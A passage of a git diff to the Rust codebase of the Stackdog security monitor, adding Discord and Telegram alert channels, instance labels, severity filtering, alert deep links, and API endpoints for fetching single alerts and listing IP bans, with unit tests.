+ self.slack_icon_url + .as_deref() + .unwrap_or(DEFAULT_SLACK_ICON_URL) + } + + /// Resolve the Slack avatar, probing the primary host when no explicit + /// override is configured. + pub async fn resolved_slack_icon_url(&self) -> &str { + match self.slack_icon_url.as_deref() { + Some(url) => url, + None => resolve_default_slack_icon_url().await, + } + } + /// Get SMTP host pub fn smtp_host(&self) -> Option<&str> { self.smtp_host.as_deref() @@ -112,6 +306,16 @@ impl NotificationConfig { self.webhook_url.as_deref() } + /// Get notification label + pub fn notification_label(&self) -> Option<&str> { + self.notification_label.as_deref() + } + + /// Get minimum severity for non-action notifications + pub fn minimum_severity(&self) -> AlertSeverity { + self.minimum_severity + } + /// Return only channels that are both policy-selected and actually configured. pub fn configured_channels_for_severity( &self, @@ -123,10 +327,44 @@ impl NotificationConfig { .collect() } + pub fn configured_channels_for_stored_alert( + &self, + alert: &crate::database::models::Alert, + ) -> Vec { + if is_action_alert(alert) { + return self.configured_action_channels(); + } + + if alert.severity < self.minimum_severity { + return Vec::new(); + } + + self.configured_channels_for_severity(alert.severity) + } + + fn configured_action_channels(&self) -> Vec { + // Telegram is deliberately absent: it carries security alerts only, + // not action notifications. + [ + NotificationChannel::Console, + NotificationChannel::Slack, + NotificationChannel::Discord, + NotificationChannel::Email, + NotificationChannel::Webhook, + ] + .into_iter() + .filter(|channel| self.supports_channel(channel)) + .collect() + } + fn supports_channel(&self, channel: &NotificationChannel) -> bool { match channel { NotificationChannel::Console => true, NotificationChannel::Slack => self.slack_webhook.is_some(), + NotificationChannel::Discord => self.discord_webhook.is_some(), + NotificationChannel::Telegram => { + self.telegram_bot_token.is_some() && self.telegram_chat_id.is_some() + } NotificationChannel::Webhook => self.webhook_url.is_some(), NotificationChannel::Email => { self.smtp_host.is_some() @@ -139,11 +377,72 @@ impl NotificationConfig { } } +impl Default for NotificationConfig { + fn default() -> Self { + Self::new() + } +} + +pub fn env_flag_enabled(name: &str, default: bool) -> bool { + env::var(name) + .ok() + .and_then(|value| match value.trim().to_ascii_lowercase().as_str() { + "1" | "true" | "yes" | "on" => Some(true), + "0" | "false" | "no" | "off" => Some(false), + _ => None, + }) + .unwrap_or(default) +} + +fn parse_alert_severity(value: &str) -> Option { + match value.trim().to_ascii_lowercase().as_str() { + "info" => Some(AlertSeverity::Info), + "low" => Some(AlertSeverity::Low), + "medium" => Some(AlertSeverity::Medium), + "high" => Some(AlertSeverity::High), + "critical" => Some(AlertSeverity::Critical), + _ => None, + } +} + +/// Best-effort identity of the machine an alert came from, for when +/// `STACKDOG_NOTIFICATION_LABEL` is not set. An alert nobody can attribute to +/// a host is half an alert in a fleet. +fn detect_hostname() -> Option { + if let Ok(name) = env::var("HOSTNAME") { + let name = name.trim(); + if !name.is_empty() { + return Some(name.to_string()); + } + } + if let Ok(name) = std::fs::read_to_string("/etc/hostname") { + let name = name.trim(); + if !name.is_empty() { + return Some(name.to_string()); + } + } + None +} + +fn is_action_alert(alert: &crate::database::models::Alert) -> bool { + matches!( + alert.alert_type, + crate::alerting::alert::AlertType::QuarantineApplied + ) || alert + .metadata + .as_ref() + .and_then(|metadata| metadata.source.as_deref()) + .map(|source| matches!(source, "ip_ban" | "quarantine")) + .unwrap_or(false) +} + /// Notification channel #[derive(Debug, Clone, PartialEq, Eq)] pub enum NotificationChannel { Console, Slack, + Discord, + Telegram, Email, Webhook, } @@ -158,6 +457,8 @@ impl NotificationChannel { match self { NotificationChannel::Console => self.send_console(alert), NotificationChannel::Slack => self.send_slack(alert, config).await, + NotificationChannel::Discord => self.send_discord(alert, config).await, + NotificationChannel::Telegram => self.send_telegram(alert, config).await, NotificationChannel::Email => self.send_email(alert, config).await, NotificationChannel::Webhook => self.send_webhook(alert, config).await, } @@ -183,7 +484,8 @@ impl NotificationChannel { config: &NotificationConfig, ) -> Result { if let Some(webhook_url) = config.slack_webhook() { - let payload = build_slack_message(alert); + let icon_url = config.resolved_slack_icon_url().await; + let payload = build_slack_message_with_icon(alert, config, icon_url); log::debug!("Sending Slack notification to webhook"); log::trace!("Slack payload: {}", payload); @@ -225,6 +527,108 @@ impl NotificationChannel { } } + /// Send a Discord notification through an incoming webhook + async fn send_discord( + &self, + alert: &Alert, + config: &NotificationConfig, + ) -> Result { + if let Some(webhook_url) = config.discord_webhook() { + let payload = build_discord_message(alert, config); + log::debug!("Sending Discord notification to webhook"); + log::trace!("Discord payload: {}", payload); + + let client = reqwest::Client::new(); + match client + .post(webhook_url) + .header("Content-Type", "application/json") + .body(payload) + .send() + .await + { + Ok(resp) => { + if resp.status().is_success() { + log::info!("Discord notification sent successfully"); + Ok(NotificationResult::Success("sent to Discord".to_string())) + } else { + let status = resp.status(); + let body = resp.text().await.unwrap_or_default(); + log::warn!("Discord API returned {}: {}", status, body); + Ok(NotificationResult::Failure(format!( + "Discord returned {}: {}", + status, body + ))) + } + } + Err(e) => { + log::warn!("Failed to send Discord notification: {}", e); + Ok(NotificationResult::Failure(format!( + "Discord request failed: {}", + e + ))) + } + } + } else { + log::debug!("Discord webhook not configured, skipping"); + Ok(NotificationResult::Failure( + "Discord webhook not configured".to_string(), + )) + } + } + + /// Send a Telegram alert through the Bot API. Alerts only: action + /// notifications are deliberately not routed here. + async fn send_telegram( + &self, + alert: &Alert, + config: &NotificationConfig, + ) -> Result { + let (Some(token), Some(_chat_id)) = + (config.telegram_bot_token(), config.telegram_chat_id()) + else { + log::debug!("Telegram bot token or chat id not configured, skipping"); + return Ok(NotificationResult::Failure( + "Telegram bot token or chat id not configured".to_string(), + )); + }; + + let payload = build_telegram_message(alert, config); + let url = format!("https://api.telegram.org/bot{token}/sendMessage"); + log::debug!("Sending Telegram notification"); + log::trace!("Telegram payload: {}", payload); + + let client = reqwest::Client::new(); + match client + .post(&url) + .header("Content-Type", "application/json") + .body(payload) + .send() + .await + { + Ok(resp) => { + if resp.status().is_success() { + log::info!("Telegram notification sent successfully"); + Ok(NotificationResult::Success("sent to Telegram".to_string())) + } else { + let status = resp.status(); + let body = resp.text().await.unwrap_or_default(); + log::warn!("Telegram API returned {}: {}", status, body); + Ok(NotificationResult::Failure(format!( + "Telegram returned {}: {}", + status, body + ))) + } + } + Err(e) => { + log::warn!("Failed to send Telegram notification: {}", e); + Ok(NotificationResult::Failure(format!( + "Telegram request failed: {}", + e + ))) + } + } + } + /// Send via email async fn send_email( &self, @@ -253,11 +657,17 @@ impl NotificationChannel { }) .collect::>>()?; - let mut message_builder = Message::builder().from(from).subject(format!( - "[Stackdog][{}] {}", - alert.severity(), - alert.alert_type() - )); + let subject = if let Some(label) = config.notification_label() { + format!( + "[Stackdog][{}][{}] {}", + label, + alert.severity(), + alert.alert_type() + ) + } else { + format!("[Stackdog][{}] {}", alert.severity(), alert.alert_type()) + }; + let mut message_builder = Message::builder().from(from).subject(subject); for recipient in recipients { message_builder = message_builder.to(recipient); @@ -265,8 +675,8 @@ impl NotificationChannel { let message = message_builder.multipart( MultiPart::alternative() - .singlepart(SinglePart::plain(build_email_text(alert))) - .singlepart(SinglePart::html(build_email_html(alert))), + .singlepart(SinglePart::plain(build_email_text(alert, config))) + .singlepart(SinglePart::html(build_email_html(alert, config))), )?; let mailer = AsyncSmtpTransport::::relay(host)? @@ -295,7 +705,7 @@ impl NotificationChannel { config: &NotificationConfig, ) -> Result { if let Some(webhook_url) = config.webhook_url() { - let payload = build_webhook_payload(alert); + let payload = build_webhook_payload(alert, config); let client = reqwest::Client::new(); match client .post(webhook_url) @@ -329,6 +739,42 @@ impl NotificationChannel { } } +pub async fn dispatch_stored_alert( + alert: &crate::database::models::Alert, + config: &NotificationConfig, +) -> Result { + let mut runtime_alert = Alert::new(alert.alert_type, alert.severity, alert.message.clone()) + .with_id(alert.id.clone()); + + if let Some(metadata) = &alert.metadata { + if let Some(container_id) = &metadata.container_id { + runtime_alert.add_metadata("container_id".into(), container_id.clone()); + } + if let Some(source) = &metadata.source { + runtime_alert.add_metadata("source".into(), source.clone()); + } + if let Some(reason) = &metadata.reason { + runtime_alert.add_metadata("reason".into(), reason.clone()); + } + for (key, value) in &metadata.extra { + runtime_alert.add_metadata(key.clone(), value.clone()); + } + } + + let channels = config.configured_channels_for_stored_alert(alert); + let mut sent = 0; + for channel in &channels { + match channel.send(&runtime_alert, config).await? { + NotificationResult::Success(_) => sent += 1, + NotificationResult::Failure(message) => { + log::warn!("Action notification channel reported failure: {}", message) + } + } + } + + Ok(sent) +} + /// Notification result #[derive(Debug, Clone)] pub enum NotificationResult { @@ -353,6 +799,8 @@ pub fn route_by_severity(severity: AlertSeverity) -> Vec { vec![ NotificationChannel::Console, NotificationChannel::Slack, + NotificationChannel::Discord, + NotificationChannel::Telegram, NotificationChannel::Email, NotificationChannel::Webhook, ] @@ -361,11 +809,18 @@ pub fn route_by_severity(severity: AlertSeverity) -> Vec { vec![ NotificationChannel::Console, NotificationChannel::Slack, + NotificationChannel::Discord, + NotificationChannel::Telegram, NotificationChannel::Webhook, ] } AlertSeverity::Medium => { - vec![NotificationChannel::Console, NotificationChannel::Slack] + vec![ + NotificationChannel::Console, + NotificationChannel::Slack, + NotificationChannel::Discord, + NotificationChannel::Telegram, + ] } AlertSeverity::Low => { vec![NotificationChannel::Console] @@ -388,25 +843,117 @@ pub fn severity_to_slack_color(severity: AlertSeverity) -> &'static str { } /// Build Slack message payload -pub fn build_slack_message(alert: &Alert) -> String { +pub fn build_slack_message(alert: &Alert, config: &NotificationConfig) -> String { + build_slack_message_with_icon(alert, config, config.slack_icon_url()) +} + +/// Discord allows 2000 characters per message; keep the whole alert readable +/// rather than letting the API reject a long one. +const DISCORD_CONTENT_LIMIT: usize = 2000; + +/// Build Discord webhook payload: a plain content message, since incoming +/// webhooks already carry their own name and avatar. +pub fn build_discord_message(alert: &Alert, config: &NotificationConfig) -> String { + let mut content = format!( + "**Stackdog Security Alert**\nType: {}\nSeverity: {}\nStatus: {}\nTime: {}\n", + alert.alert_type(), + alert.severity(), + alert.status(), + alert.timestamp().to_rfc3339(), + ); + if let Some(label) = config.notification_label() { + content.push_str(&format!("Instance: {label}\n")); + } + content.push_str(alert.message()); + if let Some(url) = config.alert_url(alert.id()) { + content.push_str(&format!("\nDetails: {url}")); + } + + let content = truncate_chars(&content, DISCORD_CONTENT_LIMIT); + + serde_json::json!({ "content": content }).to_string() +} + +/// Truncate on a character boundary so multi-byte text stays valid UTF-8. +fn truncate_chars(value: &str, max: usize) -> &str { + if value.len() <= max { + return value; + } + let mut end = max; + while !value.is_char_boundary(end) { + end -= 1; + } + &value[..end] +} + +/// Telegram allows 4096 characters per message. +const TELEGRAM_TEXT_LIMIT: usize = 4096; + +/// Build Telegram sendMessage payload: plain text without parse_mode, so +/// message content can never break the request by looking like markup. +pub fn build_telegram_message(alert: &Alert, config: &NotificationConfig) -> String { + let mut text = format!( + "Stackdog Security Alert\nType: {}\nSeverity: {}\nStatus: {}\nTime: {}\n", + alert.alert_type(), + alert.severity(), + alert.status(), + alert.timestamp().to_rfc3339(), + ); + if let Some(label) = config.notification_label() { + text.push_str(&format!("Instance: {label}\n")); + } + text.push_str(alert.message()); + if let Some(url) = config.alert_url(alert.id()) { + text.push_str(&format!("\nDetails: {url}")); + } + + let text = truncate_chars(&text, TELEGRAM_TEXT_LIMIT); + + serde_json::json!({ + "chat_id": config.telegram_chat_id(), + "text": text, + }) + .to_string() +} + +/// Build Slack message payload with an explicit avatar URL +pub fn build_slack_message_with_icon( + alert: &Alert, + config: &NotificationConfig, + icon_url: &str, +) -> String { + let mut fields = vec![ + serde_json::json!({"title": "Severity", "value": alert.severity().to_string(), "short": true}), + serde_json::json!({"title": "Status", "value": alert.status().to_string(), "short": true}), + serde_json::json!({"title": "Time", "value": alert.timestamp().to_rfc3339(), "short": true}), + ]; + if let Some(label) = config.notification_label() { + fields.push(serde_json::json!({"title": "Instance", "value": label, "short": true})); + } + if let Some(url) = config.alert_url(alert.id()) { + fields.push(serde_json::json!({ + "title": "Details", + "value": format!("<{url}|Open in Stackdog>"), + "short": true + })); + } + serde_json::json!({ - "text": "🐕 Stackdog Security Alert", + "username": config.slack_username(), + "icon_url": icon_url, + "text": "Stackdog Security Alert", "attachments": [{ "color": severity_to_slack_color(alert.severity()), "title": format!("{:?}", alert.alert_type()), "text": alert.message(), - "fields": [ - {"title": "Severity", "value": alert.severity().to_string(), "short": true}, - {"title": "Status", "value": alert.status().to_string(), "short": true}, - {"title": "Time", "value": alert.timestamp().to_rfc3339(), "short": true} - ] + "fields": fields }] }) .to_string() } /// Build webhook payload -pub fn build_webhook_payload(alert: &Alert) -> String { +pub fn build_webhook_payload(alert: &Alert, config: &NotificationConfig) -> String { serde_json::json!({ "alert_type": alert.alert_type().to_string(), "severity": alert.severity().to_string(), @@ -414,35 +961,70 @@ pub fn build_webhook_payload(alert: &Alert) -> String { "timestamp": alert.timestamp().to_rfc3339(), "status": alert.status().to_string(), "metadata": alert.metadata(), + "instance_label": config.notification_label(), + "alert_id": alert.id(), + "details_url": config.alert_url(alert.id()), }) .to_string() } -fn build_email_text(alert: &Alert) -> String { +fn build_email_text(alert: &Alert, config: &NotificationConfig) -> String { format!( - "Stackdog Security Alert\n\nType: {}\nSeverity: {}\nStatus: {}\nTime: {}\n\n{}\n", + "Stackdog Security Alert\n{}\nType: {}\nSeverity: {}\nStatus: {}\nTime: {}\n\n{}\n", + config + .notification_label() + .map(|label| format!("Instance: {label}\n")) + .unwrap_or_default(), alert.alert_type(), alert.severity(), alert.status(), alert.timestamp().to_rfc3339(), alert.message(), - ) + ) + &config + .alert_url(alert.id()) + .map(|url| format!("\nDetails: {url}\n")) + .unwrap_or_default() } -fn build_email_html(alert: &Alert) -> String { +fn build_email_html(alert: &Alert, config: &NotificationConfig) -> String { format!( - "

Stackdog Security Alert

Type: {}

Severity: {}

Status: {}

Time: {}

{}

", + "

Stackdog Security Alert

{}

Type: {}

Severity: {}

Status: {}

Time: {}

{}

", + config + .notification_label() + .map(|label| format!("

Instance: {label}

")) + .unwrap_or_default(), alert.alert_type(), alert.severity(), alert.status(), alert.timestamp().to_rfc3339(), alert.message(), - ) + ) + &config + .alert_url(alert.id()) + .map(|url| format!("

Open in Stackdog

")) + .unwrap_or_default() } #[cfg(test)] mod tests { use super::*; + use std::sync::Mutex; + + static ENV_MUTEX: Mutex<()> = Mutex::new(()); + + fn clear_notification_env() { + env::remove_var("STACKDOG_SLACK_WEBHOOK_URL"); + env::remove_var("STACKDOG_UI_URL"); + env::remove_var("STACKDOG_WEBHOOK_URL"); + env::remove_var("STACKDOG_SMTP_HOST"); + env::remove_var("STACKDOG_SMTP_PORT"); + env::remove_var("STACKDOG_SMTP_USER"); + env::remove_var("STACKDOG_SMTP_PASSWORD"); + env::remove_var("STACKDOG_EMAIL_RECIPIENTS"); + env::remove_var("STACKDOG_NOTIFICATION_LABEL"); + env::remove_var("STACKDOG_NOTIFICATION_MIN_SEVERITY"); + env::remove_var("STACKDOG_NOTIFY_IP_BAN_ACTIONS"); + env::remove_var("STACKDOG_NOTIFY_QUARANTINE_ACTIONS"); + } #[tokio::test] async fn test_console_notification() { @@ -457,6 +1039,76 @@ mod tests { assert!(result.is_ok()); } + #[test] + fn test_notification_config_from_env_reads_channels() { + let _guard = ENV_MUTEX.lock().unwrap(); + clear_notification_env(); + + env::set_var( + "STACKDOG_SLACK_WEBHOOK_URL", + "https://hooks.slack.test/services/1", + ); + env::set_var("STACKDOG_WEBHOOK_URL", "https://example.test/webhook"); + env::set_var("STACKDOG_SMTP_HOST", "smtp.example.com"); + env::set_var("STACKDOG_SMTP_PORT", "2525"); + env::set_var("STACKDOG_SMTP_USER", "alerts@example.com"); + env::set_var("STACKDOG_SMTP_PASSWORD", "secret"); + env::set_var( + "STACKDOG_EMAIL_RECIPIENTS", + "soc@example.com,oncall@example.com", + ); + env::set_var("STACKDOG_NOTIFICATION_LABEL", "prod-eu-1"); + + let config = NotificationConfig::from_env(); + + assert_eq!( + config.slack_webhook(), + Some("https://hooks.slack.test/services/1") + ); + assert_eq!(config.webhook_url(), Some("https://example.test/webhook")); + assert_eq!(config.smtp_host(), Some("smtp.example.com")); + assert_eq!(config.smtp_port(), Some(2525)); + assert_eq!(config.smtp_user(), Some("alerts@example.com")); + assert_eq!(config.smtp_password(), Some("secret")); + assert_eq!( + config.email_recipients(), + &[ + "soc@example.com".to_string(), + "oncall@example.com".to_string() + ] + ); + assert_eq!(config.notification_label(), Some("prod-eu-1")); + assert_eq!(config.minimum_severity(), AlertSeverity::Info); + + clear_notification_env(); + } + + #[test] + fn test_notification_config_from_env_reads_minimum_severity() { + let _guard = ENV_MUTEX.lock().unwrap(); + clear_notification_env(); + env::set_var("STACKDOG_NOTIFICATION_MIN_SEVERITY", "critical"); + + let config = NotificationConfig::from_env(); + assert_eq!(config.minimum_severity(), AlertSeverity::Critical); + + clear_notification_env(); + } + + #[test] + fn test_env_flag_enabled_honors_boolean_values() { + let _guard = ENV_MUTEX.lock().unwrap(); + clear_notification_env(); + + assert!(env_flag_enabled("STACKDOG_NOTIFY_IP_BAN_ACTIONS", true)); + env::set_var("STACKDOG_NOTIFY_IP_BAN_ACTIONS", "false"); + assert!(!env_flag_enabled("STACKDOG_NOTIFY_IP_BAN_ACTIONS", true)); + env::set_var("STACKDOG_NOTIFY_IP_BAN_ACTIONS", "yes"); + assert!(env_flag_enabled("STACKDOG_NOTIFY_IP_BAN_ACTIONS", false)); + + clear_notification_env(); + } + #[test] fn test_severity_to_slack_color() { assert_eq!(severity_to_slack_color(AlertSeverity::Critical), "#FF0000"); @@ -472,6 +1124,38 @@ mod tests { assert_eq!(info_routes.len(), 1); } + #[test] + fn test_configured_channels_for_stored_alert_filters_non_action_below_threshold() { + let config = NotificationConfig::default() + .with_slack_webhook("https://hooks.slack.test/services/1".into()) + .with_minimum_severity(AlertSeverity::Critical); + let alert = crate::database::models::Alert::new( + crate::alerting::alert::AlertType::ThreatDetected, + AlertSeverity::High, + "High severity finding".to_string(), + ); + + let channels = config.configured_channels_for_stored_alert(&alert); + assert!(channels.is_empty()); + } + + #[test] + fn test_configured_channels_for_stored_alert_keeps_action_notifications() { + let config = NotificationConfig::default() + .with_slack_webhook("https://hooks.slack.test/services/1".into()) + .with_minimum_severity(AlertSeverity::Critical); + let alert = crate::database::models::Alert::new( + crate::alerting::alert::AlertType::SystemEvent, + AlertSeverity::Info, + "Released IP ban".to_string(), + ) + .with_metadata(crate::database::models::AlertMetadata::default().with_source("ip_ban")); + + let channels = config.configured_channels_for_stored_alert(&alert); + assert!(channels.contains(&NotificationChannel::Console)); + assert!(channels.contains(&NotificationChannel::Slack)); + } + #[test] fn test_build_webhook_payload_is_valid_json() { let alert = Alert::new( @@ -480,10 +1164,186 @@ mod tests { "Webhook test".to_string(), ); - let payload = build_webhook_payload(&alert); + let payload = build_webhook_payload( + &alert, + &NotificationConfig::default().with_notification_label("prod-eu-1".into()), + ); let json: serde_json::Value = serde_json::from_str(&payload).unwrap(); assert_eq!(json["severity"], "High"); assert_eq!(json["message"], "Webhook test"); + assert_eq!(json["instance_label"], "prod-eu-1"); + } + + #[test] + fn test_build_slack_message_uses_default_identity() { + let alert = Alert::new( + crate::alerting::alert::AlertType::ThreatDetected, + AlertSeverity::High, + "Slack test".to_string(), + ); + + let payload = build_slack_message(&alert, &NotificationConfig::default()); + let json: serde_json::Value = serde_json::from_str(&payload).unwrap(); + assert_eq!(json["username"], DEFAULT_SLACK_USERNAME); + assert_eq!(json["icon_url"], DEFAULT_SLACK_ICON_URL); + } + + #[test] + fn test_build_slack_message_honors_custom_identity() { + let alert = Alert::new( + crate::alerting::alert::AlertType::ThreatDetected, + AlertSeverity::High, + "Slack test".to_string(), + ); + + let payload = build_slack_message( + &alert, + &NotificationConfig::default() + .with_slack_username("Stackdog prod".into()) + .with_slack_icon_url("https://example.test/mark.png".into()), + ); + let json: serde_json::Value = serde_json::from_str(&payload).unwrap(); + assert_eq!(json["username"], "Stackdog prod"); + assert_eq!(json["icon_url"], "https://example.test/mark.png"); + } + + #[tokio::test] + async fn test_alert_url_is_absent_without_a_dashboard_url() { + assert_eq!(NotificationConfig::default().alert_url("a1"), None); + } + + #[tokio::test] + async fn test_alert_url_points_at_the_dashboard_deep_link() { + let config = NotificationConfig::default().with_ui_url("https://stackdog.example/".into()); + assert_eq!( + config.alert_url("a1").as_deref(), + Some("https://stackdog.example/#alerts/a1") + ); + } + + #[tokio::test] + async fn test_slack_message_links_back_to_the_alert() { + let alert = Alert::new( + crate::alerting::alert::AlertType::ThresholdExceeded, + AlertSeverity::High, + "Blocked IP 198.51.100.7".to_string(), + ) + .with_id("a1".into()); + + let payload = build_slack_message( + &alert, + &NotificationConfig::default().with_ui_url("https://stackdog.example".into()), + ); + let json: serde_json::Value = serde_json::from_str(&payload).unwrap(); + let fields = json["attachments"][0]["fields"].as_array().unwrap(); + + assert!(fields.iter().any(|field| { + field["title"] == "Details" + && field["value"] + .as_str() + .unwrap_or_default() + .contains("https://stackdog.example/#alerts/a1") + })); + } + + #[tokio::test] + async fn test_dispatch_keeps_the_stored_alert_id() { + // A regenerated id would make the link point at an alert that does not + // exist. + let stored = crate::database::models::Alert::new( + crate::alerting::alert::AlertType::ThresholdExceeded, + AlertSeverity::High, + "Blocked IP 198.51.100.7".to_string(), + ); + let runtime = Alert::new(stored.alert_type, stored.severity, stored.message.clone()) + .with_id(stored.id.clone()); + + assert_eq!(runtime.id(), stored.id); + } + + #[tokio::test] + async fn test_resolved_slack_icon_url_short_circuits_on_override() { + let config = + NotificationConfig::default().with_slack_icon_url("https://x.test/a.png".into()); + assert_eq!( + config.resolved_slack_icon_url().await, + "https://x.test/a.png" + ); + } + + #[test] + fn test_build_slack_message_with_icon_uses_given_url() { + let alert = Alert::new( + crate::alerting::alert::AlertType::ThreatDetected, + AlertSeverity::High, + "Slack test".to_string(), + ); + + let payload = build_slack_message_with_icon( + &alert, + &NotificationConfig::default(), + FALLBACK_SLACK_ICON_URL, + ); + let json: serde_json::Value = serde_json::from_str(&payload).unwrap(); + assert_eq!(json["icon_url"], FALLBACK_SLACK_ICON_URL); + } + + #[test] + fn test_build_slack_message_includes_instance_label() { + let alert = Alert::new( + crate::alerting::alert::AlertType::ThreatDetected, + AlertSeverity::High, + "Slack test".to_string(), + ); + + let payload = build_slack_message( + &alert, + &NotificationConfig::default().with_notification_label("prod-eu-1".into()), + ); + let json: serde_json::Value = serde_json::from_str(&payload).unwrap(); + let fields = json["attachments"][0]["fields"].as_array().unwrap(); + assert!(fields + .iter() + .any(|field| { field["title"] == "Instance" && field["value"] == "prod-eu-1" })); + } + + #[test] + fn test_notification_label_falls_back_to_hostname() { + let _guard = ENV_MUTEX.lock().unwrap(); + clear_notification_env(); + let previous_hostname = env::var("HOSTNAME").ok(); + + // Without an explicit label the alert must still say which machine it + // came from — an unattributable alert is half an alert in a fleet. + env::set_var("HOSTNAME", "box-1"); + let config = NotificationConfig::from_env(); + assert_eq!(config.notification_label(), Some("box-1")); + + let alert = Alert::new( + crate::alerting::alert::AlertType::ThreatDetected, + AlertSeverity::High, + "Slack test".to_string(), + ); + let payload = build_slack_message(&alert, &config); + let json: serde_json::Value = serde_json::from_str(&payload).unwrap(); + let fields = json["attachments"][0]["fields"].as_array().unwrap(); + assert!( + fields + .iter() + .any(|field| field["title"] == "Instance" && field["value"] == "box-1"), + "hostname fallback must reach the Slack payload: {payload}" + ); + + // The explicit label still wins. + env::set_var("STACKDOG_NOTIFICATION_LABEL", "prod-eu-1"); + let config = NotificationConfig::from_env(); + assert_eq!(config.notification_label(), Some("prod-eu-1")); + + clear_notification_env(); + match previous_hostname { + Some(value) => env::set_var("HOSTNAME", value), + None => env::remove_var("HOSTNAME"), + } } #[tokio::test] @@ -531,4 +1391,28 @@ mod tests { assert!(channels.contains(&NotificationChannel::Email)); } + + #[test] + fn test_telegram_needs_both_a_token_and_a_chat() { + let token_only = NotificationConfig { + telegram_bot_token: Some("123:abc".to_string()), + telegram_chat_id: None, + ..Default::default() + }; + assert!(!token_only.supports_channel(&NotificationChannel::Telegram)); + + let chat_only = NotificationConfig { + telegram_bot_token: None, + telegram_chat_id: Some("-100123".to_string()), + ..Default::default() + }; + assert!(!chat_only.supports_channel(&NotificationChannel::Telegram)); + + let both = NotificationConfig { + telegram_bot_token: Some("123:abc".to_string()), + telegram_chat_id: Some("-100123".to_string()), + ..Default::default() + }; + assert!(both.supports_channel(&NotificationChannel::Telegram)); + } } diff --git a/src/api/alerts.rs b/src/api/alerts.rs index 22e3e1a..62cbe7e 100644 --- a/src/api/alerts.rs +++ b/src/api/alerts.rs @@ -41,6 +41,31 @@ pub async fn get_alerts(pool: web::Data, query: web::Query) } } +/// Get one alert by id +/// +/// GET /api/alerts/{id} +/// +/// Backs the link carried in notifications, so an operator can open the alert +/// that fired without paging through the list. +pub async fn get_alert(pool: web::Data, path: web::Path) -> impl Responder { + let id = path.into_inner(); + + match db_list_alerts(&pool, AlertFilter::default()).await { + Ok(alerts) => match alerts.into_iter().find(|alert| alert.id == id) { + Some(alert) => HttpResponse::Ok().json(AlertResponse::from(alert)), + None => HttpResponse::NotFound().json(serde_json::json!({ + "error": format!("No alert with id {}", id) + })), + }, + Err(e) => { + log::error!("Failed to load alert {}: {}", id, e); + HttpResponse::InternalServerError().json(serde_json::json!({ + "error": "Failed to load alert" + })) + } + } +} + /// Get alert statistics /// /// GET /api/alerts/stats @@ -192,6 +217,8 @@ pub fn configure_routes(cfg: &mut web::ServiceConfig) { web::scope("/api/alerts") .route("", web::get().to(get_alerts)) .route("/stats", web::get().to(get_alert_stats)) + // Declared after /stats so the literal path wins over {id}. + .route("/{id}", web::get().to(get_alert)) .route("/{id}/acknowledge", web::post().to(acknowledge_alert)) .route("/{id}/resolve", web::post().to(resolve_alert)) .route("/seed", web::post().to(seed_sample_alerts)), // For testing @@ -201,9 +228,60 @@ pub fn configure_routes(cfg: &mut web::ServiceConfig) { #[cfg(test)] mod tests { use super::*; - use crate::database::create_pool; + use crate::alerting::alert::{AlertSeverity, AlertType}; + use crate::database::{create_pool, init_database}; use actix_web::{test, App}; + #[actix_rt::test] + async fn test_get_alert_by_id_round_trips_and_404s() { + let pool = create_pool(":memory:").unwrap(); + init_database(&pool).unwrap(); + let stored = crate::database::models::Alert::new( + AlertType::ThresholdExceeded, + AlertSeverity::High, + "Blocked IP 198.51.100.7".to_string(), + ); + let id = stored.id.clone(); + crate::database::create_alert(&pool, stored).await.unwrap(); + + let app = test::init_service( + App::new() + .app_data(web::Data::new(pool)) + .configure(configure_routes), + ) + .await; + + let req = test::TestRequest::get() + .uri(&format!("/api/alerts/{id}")) + .to_request(); + let body: serde_json::Value = test::call_and_read_body_json(&app, req).await; + assert_eq!(body["message"], "Blocked IP 198.51.100.7"); + + let req = test::TestRequest::get() + .uri("/api/alerts/does-not-exist") + .to_request(); + let resp = test::call_service(&app, req).await; + assert_eq!(resp.status(), actix_web::http::StatusCode::NOT_FOUND); + } + + #[actix_rt::test] + async fn test_stats_route_wins_over_the_id_route() { + let pool = create_pool(":memory:").unwrap(); + init_database(&pool).unwrap(); + let app = test::init_service( + App::new() + .app_data(web::Data::new(pool)) + .configure(configure_routes), + ) + .await; + + let req = test::TestRequest::get() + .uri("/api/alerts/stats") + .to_request(); + let body: serde_json::Value = test::call_and_read_body_json(&app, req).await; + assert!(body.get("totalCount").is_some() || body.get("total_count").is_some()); + } + #[actix_rt::test] async fn test_get_alerts_empty() { let pool = create_pool(":memory:").unwrap(); diff --git a/src/api/containers.rs b/src/api/containers.rs index 6864c88..5e8b33a 100644 --- a/src/api/containers.rs +++ b/src/api/containers.rs @@ -218,6 +218,7 @@ mod tests { status: "Running".into(), created: "2026-01-01T00:00:00Z".into(), network_settings: std::collections::HashMap::new(), + labels: std::collections::HashMap::new(), } } diff --git a/src/api/security.rs b/src/api/security.rs index 44a3945..7a4c47e 100644 --- a/src/api/security.rs +++ b/src/api/security.rs @@ -1,8 +1,22 @@ //! Security API endpoints +use crate::database::repositories::offenses::{list_offenses, OffenseStatus}; use crate::database::{get_security_status_snapshot, DbPool, SecurityStatusSnapshot}; +use crate::ip_ban::{IpBanConfig, IpBanEngine}; use crate::models::api::security::SecurityStatusResponse; use actix_web::{web, HttpResponse, Responder}; +use serde::Deserialize; + +/// Upper bound on `?limit=`, so one request cannot pull the whole table. +const MAX_BAN_LIMIT: usize = 500; +const DEFAULT_BAN_LIMIT: usize = 100; + +#[derive(Debug, Deserialize)] +pub struct BanQuery { + /// active, blocked, or released. Case-insensitive; omit for all. + status: Option, + limit: Option, +} /// Get overall security status /// @@ -19,9 +33,76 @@ pub async fn get_security_status(pool: web::Data) -> impl Responder { } } +/// List IP ban offenses +/// +/// GET /api/security/bans?status=blocked&limit=100 +pub async fn list_bans(pool: web::Data, query: web::Query) -> impl Responder { + let status = match query.status.as_deref() { + None => None, + Some(raw) => match parse_offense_status(raw) { + Some(status) => Some(status), + None => { + return HttpResponse::BadRequest().json(serde_json::json!({ + "error": "Invalid status. Expected one of: active, blocked, released" + })) + } + }, + }; + let limit = query.limit.unwrap_or(DEFAULT_BAN_LIMIT).min(MAX_BAN_LIMIT); + + match list_offenses(pool.get_ref(), status, limit) { + Ok(offenses) => HttpResponse::Ok().json(offenses), + Err(err) => { + log::error!("Failed to list IP bans: {}", err); + HttpResponse::InternalServerError().json(serde_json::json!({ + "error": "Failed to list IP bans" + })) + } + } +} + +/// Release an IP ban ahead of its expiry +/// +/// DELETE /api/security/bans/{ip} +pub async fn delete_ban(pool: web::Data, path: web::Path) -> impl Responder { + let ip_address = path.into_inner(); + let engine = IpBanEngine::new(pool.get_ref().clone(), IpBanConfig::from_env()); + + match engine.unban_ip(&ip_address).await { + 